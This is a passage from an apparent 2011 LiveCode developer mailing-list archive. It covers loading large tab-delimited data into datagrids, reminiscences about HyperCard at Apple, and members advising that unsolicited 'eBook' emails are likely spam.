tab-delimited text list in a custom property, with each >> item maybe up to 25 characters or so in length and around 12 items per >> line. Over time, this could grow to several hundred thousand lines. The >> data is displayed in a datagrid. It's working just fine for me at this >> point, but is there a limit to how much data you can put into a custom >> property? Is there a point at which there will be a performance hit when >> displaying in a datagrid? I'm just wondering if I need to start learning >> about sql for my data storage for the long haul. > > As far as I know there is no limit to the amount of data you can store > in a custom property as long as it doesn't go above the total stack > size that's allowed, which is about 4 gigs. I'm not sure how that > would affect a datagrid though. > From pepetoo at cox.net Fri Dec 2 15:51:49 2011 From: pepetoo at cox.net (Joe Lewis Wilkins) Date: Fri, 2 Dec 2011 12:51:49 -0800 Subject: QUESTION FOR ANYONE WHO HAS DONE IT Message-ID: <283CC867-98E7-4559-915E-23D597909ACF@cox.net> Hi all, For sometime now I've been receiving a lot of emails labeled as "eBook". Initially I assumed they were spam and I have never opened one. Anyone know what the scoop is on this? Some of the subjects are pretty enticing. Is there some body that policies them to assure they are not spam? TIA, Joe Lewis Wilkins Architect From martyknapp at comcast.net Fri Dec 2 16:04:05 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Fri, 02 Dec 2011 13:04:05 -0800 Subject: Datagrid - GetDataForLine Message-ID: <4ED93D45.6000406@comcast.net> I'm using a form datagrid and have it successfully working with a tab delimited list that I cycle through and create an array, then use the FillInData handler in the datagrid to fill it out. I am now trying to set this up for large amounts of data. I've read the brief tutorial in the DG manual about using the "dgNumberOfRecords" and "GetDataForLine" but it's geared for accessing data from a database. I did look at the sample stack, but again it's geared for database access. The dgNumberOfRecords should be set to the total number of records in my data set, correct? In my scenario, how do I use the "GetDataForLine" command? Am I wasting time by converting my tab-delimited file to an array? I have no database experience and very little knowledge of arrays, so please bear with me! Any sample code, or sample stacks are appreciated. Thanks, Marty Knapp From mark_powell at symantec.com Fri Dec 2 16:28:24 2011 From: mark_powell at symantec.com (Mark Powell) Date: Fri, 2 Dec 2011 13:28:24 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> Message-ID: <3469AF22E7D82A46A12B6612437B8DF5029D84B2D8@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> I'll throw my two cents into the mix here too. I worked at Apple in the 1990-1997 time frame, and was involved in the migration of technical documentation from paper over to CD ROM. Cutting edge stuff in those days, believe me, and the delivery vehicle we used was...wait for it...Hypercard! Sounds kind of quaint some twenty years later, but truth be told we were doing stuff then that nobody was doing. Hammer and chiselling out one-bit graphics (http://wordscapes.com/work/graphics/onebitgif1.gif) and doing what must have been one of the first and only implementations of interactive QuickTime. Not to mention the thousands of 512/342 screens-worth of information we published. They were heady times. The fact that HC got axed was a cruel blow to me, as I had spent years mastering it. When I left Apple for the Windows-dominated world, I found myself complete naked tool-wise. I am not a programmer by trade and had no other programming/scripting knowledge, so I felt that a good part of my skill set was gone forever. It was four or five years before I stumbled across Rev, and my professional life was renewed. I won't really debate the higher level nuance of this platform vs. that platform, nor can I explain why HC was killed (though I think Bj?rnke is dead on right by his comment below). All I know is that Hypercard entered my professional life at just the right time. And so did Rev/LiveCode. Neither is perfect, but I am very grateful to both. Mark -----Original Message----- From: use-livecode-bounces at lists.runrev.com [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Bj?rnke von Gierke Sent: Friday, December 02, 2011 6:03 AM Subject: Re: [OT}] Hypercard and an uneasy read. > All those projects where sucking up money, the only thing > Apple didn't have at that time, so they had to die. From Mark_Smith at cpe.umanitoba.ca Fri Dec 2 17:03:44 2011 From: Mark_Smith at cpe.umanitoba.ca (Mark Smith) Date: Fri, 2 Dec 2011 14:03:44 -0800 (PST) Subject: Have you made an iOS or Android app with LiveCode and published it in an app store? In-Reply-To: <4ED6CF58.2040105@cogapp.com> References: <4ED6A924.1080106@cogapp.com> <1322698981337-4125848.post@n4.nabble.com> <4ED6CF58.2040105@cogapp.com> Message-ID: <1322863424756-4149924.post@n4.nabble.com> Ben Rubinstein wrote > > If you would post it in the iOS (and Android, if there is one) forum that > would be really kind. And anywhere else that you think would be useful. > Hi Ben, your message has been cross-posted. -- Mark -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Have-you-made-an-iOS-or-Android-app-with-LiveCode-and-published-it-in-an-app-store-tp4125218p4149924.html Sent from the Revolution - User mailing list archive at Nabble.com. From jacque at hyperactivesw.com Fri Dec 2 17:21:42 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 02 Dec 2011 16:21:42 -0600 Subject: QUESTION FOR ANYONE WHO HAS DONE IT In-Reply-To: <283CC867-98E7-4559-915E-23D597909ACF@cox.net> References: <283CC867-98E7-4559-915E-23D597909ACF@cox.net> Message-ID: <4ED94F76.6050700@hyperactivesw.com> On 12/2/11 2:51 PM, Joe Lewis Wilkins wrote: > Hi all, > > For sometime now I've been receiving a lot of emails labeled as > "eBook". Initially I assumed they were spam and I have never opened > one. Anyone know what the scoop is on this? Some of the subjects are > pretty enticing. Is there some body that policies them to assure they > are not spam? Are you saying the so-called ebooks come from RR or this list? If so, it's spam. I've never seen one. If they are from someone else and you are sure you didn't subscribe to some subscription somewhere, it is still likely spam. A computer has malware that's sending out enticing things so you'll open the attachments. What's the extension on the file? If it's an exe it is almost certainly malware. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pepetoo at cox.net Fri Dec 2 17:39:04 2011 From: pepetoo at cox.net (Joe Lewis Wilkins) Date: Fri, 2 Dec 2011 14:39:04 -0800 Subject: QUESTION FOR ANYONE WHO HAS DONE IT In-Reply-To: <4ED94F76.6050700@hyperactivesw.com> References: <283CC867-98E7-4559-915E-23D597909ACF@cox.net> <4ED94F76.6050700@hyperactivesw.com> Message-ID: <812446B8-1BA7-4BB1-A31F-3606A7CD4E10@cox.net> Hi Jacqi, No, not from RR or the this list, but from xxxxxx at unot.in I've always received a lot of spam, so I am extremely careful. I've been using the same email address for about 15 years and it's displayed on several websites. I've never acknowledged them even by bouncing or marking as spam with the ISP, but they keep coming at the rate of a dozen a day. I'm pretty sure I've never subscribed to any such service, though the topics are certainly inviting and I imagine some do fall into the trap. I just wanted to be sure that I'm not missing out on some good resources. Thanks a lot Jacqi Joe Lewis Wilkins Architect On Dec 2, 2011, at 2:21 PM, J. Landman Gay wrote: > On 12/2/11 2:51 PM, Joe Lewis Wilkins wrote: >> Hi all, >> >> For sometime now I've been receiving a lot of emails labeled as >> "eBook". Initially I assumed they were spam and I have never opened >> one. Anyone know what the scoop is on this? Some of the subjects are >> pretty enticing. Is there some body that policies them to assure they >> are not spam? > > Are you saying the so-called ebooks come from RR or this list? If so, it's spam. I've never seen one. > > If they are from someone else and you are sure you didn't subscribe to some subscription somewhere, it is still likely spam. A computer has malware that's sending out enticing things so you'll open the attachments. What's the extension on the file? If it's an exe it is almost certainly malware. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > From mpetrides at earthlink.net Fri Dec 2 17:49:29 2011 From: mpetrides at earthlink.net (Marian Petrides) Date: Fri, 2 Dec 2011 16:49:29 -0600 Subject: QUESTION FOR ANYONE WHO HAS DONE IT In-Reply-To: <812446B8-1BA7-4BB1-A31F-3606A7CD4E10@cox.net> References: <283CC867-98E7-4559-915E-23D597909ACF@cox.net> <4ED94F76.6050700@hyperactivesw.com> <812446B8-1BA7-4BB1-A31F-3606A7CD4E10@cox.net> Message-ID: <89E96371-76DC-4A41-B3D6-8FD55068EA08@earthlink.net> Sounds off to me. I've never gotten anything like this either. On Dec 2, 2011, at 4:39 PM, Joe Lewis Wilkins wrote: > Hi Jacqi, > > No, not from RR or the this list, but from xxxxxx at unot.in I've always received a lot of spam, so I am extremely careful. I've been using the same email address for about 15 years and it's displayed on several websites. > > I've never acknowledged them even by bouncing or marking as spam with the ISP, but they keep coming at the rate of a dozen a day. I'm pretty sure I've never subscribed to any such service, though the topics are certainly inviting and I imagine some do fall into the trap. I just wanted to be sure that I'm not missing out on some good resources. > > From pepetoo at cox.net Fri Dec 2 17:54:30 2011 From: pepetoo at cox.net (Joe Lewis Wilkins) Date: Fri, 2 Dec 2011 14:54:30 -0800 Subject: QUESTION FOR ANYONE WHO HAS DONE IT In-Reply-To: <89E96371-76DC-4A41-B3D6-8FD55068EA08@earthlink.net> References: <283CC867-98E7-4559-915E-23D597909ACF@cox.net> <4ED94F76.6050700@hyperactivesw.com> <812446B8-1BA7-4BB1-A31F-3606A7CD4E10@cox.net> <89E96371-76DC-4A41-B3D6-8FD55068EA08@earthlink.net> Message-ID: <06A96422-10AC-4A9A-B404-253073F16472@cox.net> Thanks Marian. Joe Lewis Wilkins Architect On Dec 2, 2011, at 2:49 PM, Marian Petrides wrote: > Sounds off to me. I've never gotten anything like this either. > > On Dec 2, 2011, at 4:39 PM, Joe Lewis Wilkins wrote: > >> Hi Jacqi, >> >> No, not from RR or the this list, but from xxxxxx at unot.in I've always received a lot of spam, so I am extremely careful. I've been using the same email address for about 15 years and it's displayed on several websites. >> >> I've never acknowledged them even by bouncing or marking as spam with the ISP, but they keep coming at the rate of a dozen a day. I'm pretty sure I've never subscribed to any such service, though the topics are certainly inviting and I imagine some do fall into the trap. I just wanted to be sure that I'm not missing out on some good resources. From jhj at jhj.com Fri Dec 2 18:01:31 2011 From: jhj at jhj.com (Jerry Jensen) Date: Fri, 2 Dec 2011 15:01:31 -0800 Subject: QUESTION FOR ANYONE WHO HAS DONE IT In-Reply-To: <812446B8-1BA7-4BB1-A31F-3606A7CD4E10@cox.net> References: <283CC867-98E7-4559-915E-23D597909ACF@cox.net> <4ED94F76.6050700@hyperactivesw.com> <812446B8-1BA7-4BB1-A31F-3606A7CD4E10@cox.net> Message-ID: <559AB567-9541-4219-B8BB-57B907718551@jhj.com> Its spam. Don't bother opening it. Mark it with your ISP as spam if they offer that. If that doesn't cut it, make a rule in apple mail (in mail preferences) to the effect of "if FROM contains unot.in delete message". You won't see them any more. This assumes you will remember to alter things if you ever DO want anything from that domain in india. On Dec 2, 2011, at 2:39 PM, Joe Lewis Wilkins wrote: > Hi Jacqi, > > No, not from RR or the this list, but from xxxxxx at unot.in I've always received a lot of spam, so I am extremely careful. I've been using the same email address for about 15 years and it's displayed on several websites. > > I've never acknowledged them even by bouncing or marking as spam with the ISP, but they keep coming at the rate of a dozen a day. I'm pretty sure I've never subscribed to any such service, though the topics are certainly inviting and I imagine some do fall into the trap. I just wanted to be sure that I'm not missing out on some good resources. > > Thanks a lot Jacqi > > Joe Lewis Wilkins > Architect > On Dec 2, 2011, at 2:21 PM, J. Landman Gay wrote: > >> On 12/2/11 2:51 PM, Joe Lewis Wilkins wrote: >>> Hi all, >>> >>> For sometime now I've been receiving a lot of emails labeled as >>> "eBook". Initially I assumed they were spam and I have never opened >>> one. Anyone know what the scoop is on this? Some of the subjects are >>> pretty enticing. Is there some body that policies them to assure they >>> are not spam? >> >> Are you saying the so-called ebooks come from RR or this list? If so, it's spam. I've never seen one. >> >> If they are from someone else and you are sure you didn't subscribe to some subscription somewhere, it is still likely spam. A computer has malware that's sending out enticing things so you'll open the attachments. What's the extension on the file? If it's an exe it is almost certainly malware. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 2 18:01:30 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 2 Dec 2011 15:01:30 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: <4ED93D45.6000406@comcast.net> References: <4ED93D45.6000406@comcast.net> Message-ID: Hi Marty. Lotta prior posts on this so I will just summarize. Parsing data out into an array can be a huge pain. It can be cumbersome to parse large amounts of data into arrays. However there are techniques which can make it a great deal faster. First, read your data into manageable chunks. If you know your data is on average 500 characters per line, and you want to read roughly 1000 lines at a time, do something like: read from fileName for 500 * 1000 put it into theData read from file fileName until return put it after theData Now you have a manageable chunk to work with. Next, just repeating for each line may seem the way to go, and some recommend it: repeat for each line theLine in theData put 1 into theColumnCount repeat for each item theItem in theLine put "column" & theColumnCount into theColumnName put theItem into myArray[theRecordCount][theColumnName] end repeat end repeat Others (myself included) think that simply working with line 1 of theData and then deleting line 1 of theData is the way to go. The reason for this is that each time your refer to a line, say line 256 of theData, the engine has to scan through the block of data until it counts 255 returns, then get the data between that and the next return. Well 256 not so bad. 256,783, bad. By just getting line 1 each time and then deleting it, the engine only has to scan up to the first carriage return each time. So if it is a one time parsing, you may as well go ahead and create your array, and then store it as a property and work with that. If you have to parse large amounts of data each and every time you load your app, well there are better ways for sure. Also, PLEASE consider learning how to work with databases if you have large data sets. It seems a pain at first, but once you get the hang of it, things will go much better, especially searching and getting subsets of data. Bob On Dec 2, 2011, at 1:04 PM, Marty Knapp wrote: > I'm using a form datagrid and have it successfully working with a tab delimited list that I cycle through and create an array, then use the FillInData handler in the datagrid to fill it out. > > I am now trying to set this up for large amounts of data. I've read the brief tutorial in the DG manual about using the "dgNumberOfRecords" and "GetDataForLine" but it's geared for accessing data from a database. I did look at the sample stack, but again it's geared for database access. > > The dgNumberOfRecords should be set to the total number of records in my data set, correct? > > In my scenario, how do I use the "GetDataForLine" command? > > Am I wasting time by converting my tab-delimited file to an array? > > I have no database experience and very little knowledge of arrays, so please bear with me! Any sample code, or sample stacks are appreciated. > > Thanks, > Marty Knapp > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From Mark_Smith at cpe.umanitoba.ca Fri Dec 2 18:03:26 2011 From: Mark_Smith at cpe.umanitoba.ca (Mark Smith) Date: Fri, 2 Dec 2011 15:03:26 -0800 (PST) Subject: Datagrid - GetDataForLine In-Reply-To: <4ED93D45.6000406@comcast.net> References: <4ED93D45.6000406@comcast.net> Message-ID: <1322867006748-4150488.post@n4.nabble.com> Marty Knapp wrote > > In my scenario, how do I use the "GetDataForLine" command? > > Am I wasting time by converting my tab-delimited file to an array? > Hi Marty, I am no datagrid expert (more or less just stumble onto solutions that work for me) and I am not familiar with the technique you are using but I have used the following script to "read" a tab delimited file into a datagrid put url ("file:" & thefilepath) into theData set the dgText of group "DataGrid 1" to theData This assumes that the first line of the file is data, and not column names. If it is column names change the 2nd line to: set the dgText[true] of group "DataGrid 1" to theData Hope that is helpful... -- Mark -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Datagrid-GetDataForLine-tp4149394p4150488.html Sent from the Revolution - User mailing list archive at Nabble.com. From bobs at twft.com Fri Dec 2 18:05:13 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 2 Dec 2011 15:05:13 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <804046E9-A768-445E-B25E-AE41C5837688@tamu.edu> References: <804046E9-A768-445E-B25E-AE41C5837688@tamu.edu> Message-ID: <4B220F78-55C0-4D3E-B64F-B53238715DF0@twft.com> Hmmm... we use a web based grading system that the school is very dissatisfied with. They require a persistent connection with the web server which is sometimes a problem in large network environments where one screwup somewhere in a configuration or a router or switch reset produces a hornet's nest of mad teachers! If your product is available in retail form, please contact me off list. Thanks. Bob On Dec 2, 2011, at 11:31 AM, Ronald Zellner wrote: > However, I was very excited when I found Revolution in 1999, and subsequently developed a stand-alone Revolution version of the workbook that used the Filemaker server for storage. Students could work anywhere, submit assignment content, and access grading feedback quite conveniently. The final version used SQL for data storage and access. > There was a wide range of factors influencing what approaches to take and what to develop in educational settings. From Mark_Smith at cpe.umanitoba.ca Fri Dec 2 18:06:31 2011 From: Mark_Smith at cpe.umanitoba.ca (Mark Smith) Date: Fri, 2 Dec 2011 15:06:31 -0800 (PST) Subject: Datagrid - GetDataForLine In-Reply-To: <4ED93D45.6000406@comcast.net> References: <4ED93D45.6000406@comcast.net> Message-ID: <1322867191461-4150505.post@n4.nabble.com> Marty Knapp wrote > > In my scenario, how do I use the "GetDataForLine" command? > > Am I wasting time by converting my tab-delimited file to an array? > Hi Marty, I am no datagrid expert (more or less just stumble onto solutions that work for me) and I am not familiar with the technique you are using but I have used the following script to "read" a tab delimited file into a datagrid put url ("file:" & thefilepath) into theData set the dgText of group "DataGrid 1" to theData This assumes that the first line of the file is data, and not column names. If it is column names change the 2nd line to: set the dgText[true] of group "DataGrid 1" to theData Hope that is helpful... -- Mark -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Datagrid-GetDataForLine-tp4149394p4150505.html Sent from the Revolution - User mailing list archive at Nabble.com. From bobs at twft.com Fri Dec 2 18:21:39 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 2 Dec 2011 15:21:39 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: <1322867006748-4150488.post@n4.nabble.com> References: <4ED93D45.6000406@comcast.net> <1322867006748-4150488.post@n4.nabble.com> Message-ID: <18D596D4-756E-4C5B-B155-98FE8F32E6ED@twft.com> Prior to this we were discussing how unwieldy this can be with a lot of data. If he has a ton of data, like in the hundreds of thousands or even millions of records, this can take an extraordinary amount of time, hence, the need to bite off a little at a time. Bob On Dec 2, 2011, at 3:03 PM, Mark Smith wrote: > > Marty Knapp wrote >> >> In my scenario, how do I use the "GetDataForLine" command? >> >> Am I wasting time by converting my tab-delimited file to an array? >> > > Hi Marty, I am no datagrid expert (more or less just stumble onto solutions > that work for me) and I am not familiar with the technique you are using but > I have used the following script to "read" a tab delimited file into a > datagrid > > > put url ("file:" & thefilepath) into theData > set the dgText of group "DataGrid 1" to theData > > This assumes that the first line of the file is data, and not column names. > If it is column names change the 2nd line to: > > set the dgText[true] of group "DataGrid 1" to theData > > Hope that is helpful... > > -- Mark > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Datagrid-GetDataForLine-tp4149394p4150488.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mike at doub.com Fri Dec 2 18:22:19 2011 From: mike at doub.com (Michael Doub) Date: Fri, 2 Dec 2011 18:22:19 -0500 Subject: Datagrid - GetDataForLine In-Reply-To: <4ED93D45.6000406@comcast.net> References: <4ED93D45.6000406@comcast.net> Message-ID: Marty, I am no expert but let me share what I have learned over the past few weeks. Don't be too concerned about the database examples. Look at the message handler carefully. command GetDataForLine pLine, @pDataA On every call to this handler the DataGrid is asking you to provide the data for just one row and the identifer of this row is pLine. So you just need to be able to return only the data associated with that one row. How you do this is up to you. Each row could be as simple as a line in a field. You just have to put the data from line into an array and return it in pDataA. As the datagrid is scrolled around, it will call GetDataForLine when it anticipates the need for data. It looks like the dataGrid requests a few extra rows that are not visiable to make sure that scrolling looks smooth. So if 10 rows are visiable the datagrid is asking for 12 or so worth of data. You will start getting GetDataFOrLine message as soon as you set dgNumberOfRecords. All of the rows when using this technique are fixed height rows. The datagrid must assume this to figure out the size of the scroll area. I have a situation where I saved to dgVScroll in a custom property of the card in the close card hander as well as clearing the datagrid. I reload the datagrid in the open card handler an re-set the dgvScroll and the datagrid is in the same location as before leaving the card. To answer your questions directly: The dgNumberOfRecords should be set to the total number of records in my data set, correct? Correct In my scenario, how do I use the "GetDataForLine" command? I hope I was clear enough above Am I wasting time by converting my tab-delimited file to an array? Yes, I don't see the need. You build pDataA within the GetDataForLine handler. Regards, Mike From Mark_Smith at cpe.umanitoba.ca Fri Dec 2 18:33:21 2011 From: Mark_Smith at cpe.umanitoba.ca (Mark Smith) Date: Fri, 2 Dec 2011 15:33:21 -0800 (PST) Subject: Datagrid - GetDataForLine In-Reply-To: <18D596D4-756E-4C5B-B155-98FE8F32E6ED@twft.com> References: <4ED93D45.6000406@comcast.net> <1322867006748-4150488.post@n4.nabble.com> <18D596D4-756E-4C5B-B155-98FE8F32E6ED@twft.com> Message-ID: <1322868801006-4150729.post@n4.nabble.com> slylabs13 wrote > > Prior to this we were discussing how unwieldy this can be with a lot of > data. If he has a ton of data, like in the hundreds of thousands or even > millions of records, this can take an extraordinary amount of time, hence, > the need to bite off a little at a time. > > Bob > Gotcha, thanks for mentioning. I was not aware of how much data he was processing. I've used it on several hundred lines and as you can imagine, its pretty instantaneous. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Datagrid-GetDataForLine-tp4149394p4150729.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Fri Dec 2 21:21:43 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 2 Dec 2011 18:21:43 -0800 (PST) Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: <4ED7D7F7.8030503@fourthworld.com> References: <4ED7D7F7.8030503@fourthworld.com> Message-ID: <1322878903296-4151643.post@n4.nabble.com> Well, at least all of you received warning in advance. By the way, Richard, Did you receive the 3 mails that I send from my yahoo and gmail accounts? I am under the impression that you do not receive them. Thanks in advance! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/IMPORTANT-SoCal-Meeting-CANCELLED-tp4130136p4151643.html Sent from the Revolution - User mailing list archive at Nabble.com. From mwieder at ahsoftware.net Sat Dec 3 00:04:11 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 2 Dec 2011 21:04:11 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: <140630248421.20111202210411@ahsoftware.net> Geoff- Friday, December 2, 2011, 12:53:28 AM, you wrote: > Some people, when confronted with a problem, think ?I know, I'll use > regular expressions.? Now they have two problems. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Sat Dec 3 00:08:57 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 2 Dec 2011 21:08:57 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <3469AF22E7D82A46A12B6612437B8DF5029D84B2D8@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <3469AF22E7D82A46A12B6612437B8DF5029D84B2D8@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> Message-ID: <116630534750.20111202210857@ahsoftware.net> Mark- Friday, December 2, 2011, 1:28:24 PM, you wrote: > I worked at Apple in the 1990-1997 time frame, and was involved > in the migration of technical documentation from paper over to CD > ROM. Cutting edge stuff in those days, believe me, and the delivery > vehicle we used was...wait for it...Hypercard! Sounds kind of I don't know about later stuff (I left Apple in 1992) but from the time we released HyperCard we did all our bug reporting with it. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Sat Dec 3 00:17:46 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 2 Dec 2011 21:17:46 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: <183631063906.20111202211746@ahsoftware.net> Todd- Thursday, December 1, 2011, 5:15:12 PM, you wrote: > The part that I most liked about the linked article was the emphasis on > explorability. I think HyperCard had it. My other Tool FileMaker had it. > FileMaker has less of it today. And I think that LiveCode is not as > explorable as HyperCard was. I think much of the explorability is still there, but the out-of-box experience is missing in LC, and always has been through the various RunRev versions. You could open up HyperCard for the first time and play around with the rolodex, the calculator, etc. It was easy to change simple things, add features, learn from mistakes, get your feet wet until you reached that Aha! moment. With LC there's a learning curve of several weeks before you get proficient enough to figure out what this is all about. And up to that point any explorability is just trying things or plugging in suggestions from others without really understanding what's going on. -- -Mark Wieder mwieder at ahsoftware.net From coiin at verizon.net Sat Dec 3 00:29:45 2011 From: coiin at verizon.net (Colin Holgate) Date: Sat, 03 Dec 2011 00:29:45 -0500 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <116630534750.20111202210857@ahsoftware.net> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <3469AF22E7D82A46A12B6612437B8DF5029D84B2D8@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> <116630534750.20111202210857@ahsoftware.net> Message-ID: I worked in Apple tech support in the UK, from October 1987 to end of Jan 1992, and when I met HyperCard, which was very young at the time, I told my manager that I thought it was going to be huge. He asked why, and I said, well, it's like programming for the rest of us. He agreed. When I started working in tech support there were drawers full of paper pads, that the others had filled in whenever a support call was handled. I soon wrote a stack that did the same job, and a colleague took that further. Probably saved a few trees between us. Eventually it was changed over to using a proper database application, which wasn't any better than the stack, but might have had some advantage I'm not aware of. In Feb 1992 I moved to Santa Monica, where I programmed about 70 titles using HyperCard for Voyager. So, at least I got fairly good use out of it! On Dec 3, 2011, at 12:08 AM, Mark Wieder wrote: > >I don't know about later stuff (I left Apple in 1992) but from the > time we released HyperCard we did all our bug reporting with it. From palcibiades-first at yahoo.co.uk Sat Dec 3 02:16:39 2011 From: palcibiades-first at yahoo.co.uk (Peter Alcibiades) Date: Fri, 2 Dec 2011 23:16:39 -0800 (PST) Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> Message-ID: <1322896599211-4152535.post@n4.nabble.com> Yes, Jobs killed a lot of things that were losing money - but that does not explain why Apple would not open-source Hypercard if it didn't want to support it. It was possible to stop the losses without killing the product, but he chose not to. There had to be a reason for that. I recall calling on Cupertino back in the days before Jobs' return. There was an atmosphere of blissful unrealism about the whole place. They were caught in the mindset that somewhere there was a killer app which would be Mac only, which everyone would buy macs to get. Project after project was Mac only, project after project had the lock-in mindset at heart, the hidden assumption being that once people were hooked on this they would never be able to leave Apple. But of course, these were reasons, like the locked in hardware, why you would leave Apple not why you would stay. At some point you'd see where all this was going and decide to get out before it was too late. The pinnacle of this was e-World. They had still not abandoned the idea of an on-line service a la Compuserve at a time when it was obviously dead. I recall our team saying to them in a bemused way that of course it had to run on Windows, and of course it had to be Internet. When they closed they called us up and said ruefully that we had been right. Market share was a very strange topic during those days, and indeed for some years after. The party line was always that it was (a) of no importance (b) far higher than reported by the consultants. I recall the pinnacle of this being the claim that Apple actually had twice the share reported, because every sale was hardware and OS, so you should simply double the percentages. This was on Roughly Drafted. Apple's worst enemy at that time was its fanatical user base, and its greatest sin was the way it catered to ane encouraged them as the water level rose. I heard a number of different explanations of why they killed HC rather than open source it, the most plausible being that the code was unmaintainable. Don't know. I also seem to recall reading in Sculley's book how excited he was by Hypercard. Or is that a false memory? If its right, he would certainly have discussed it with Jobs, so the claim that on his return he didn't even know what it was must be mistaken. Peter -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/OT-Hypercard-and-an-uneasy-read-tp4130135p4152535.html Sent from the Revolution - User mailing list archive at Nabble.com. From richmondmathewson at gmail.com Sat Dec 3 03:36:48 2011 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 03 Dec 2011 10:36:48 +0200 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <183631063906.20111202211746@ahsoftware.net> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <183631063906.20111202211746@ahsoftware.net> Message-ID: <4ED9DFA0.8080007@gmail.com> On 12/03/2011 07:17 AM, Mark Wieder wrote: > Todd- > > Thursday, December 1, 2011, 5:15:12 PM, you wrote: > >> The part that I most liked about the linked article was the emphasis on >> explorability. I think HyperCard had it. My other Tool FileMaker had it. >> FileMaker has less of it today. And I think that LiveCode is not as >> explorable as HyperCard was. > I think much of the explorability is still there, but the out-of-box > experience is missing in LC, and always has been through the various > RunRev versions. You could open up HyperCard for the first time and > play around with the rolodex, the calculator, etc. It was easy to > change simple things, add features, learn from mistakes, get your feet > wet until you reached that Aha! moment. With LC there's a learning > curve of several weeks before you get proficient enough to figure out > what this is all about. And up to that point any explorability is just > trying things or plugging in suggestions from others without really > understanding what's going on. > It might not be a bad idea for RunRev to package a handful of "starter" stacks with their product (especially with the 30 day demo) just so would-bees can play around a bit and get the feel of things. From rene.micout at numericable.com Sat Dec 3 03:39:33 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Sat, 3 Dec 2011 09:39:33 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <1322896599211-4152535.post@n4.nabble.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> Message-ID: 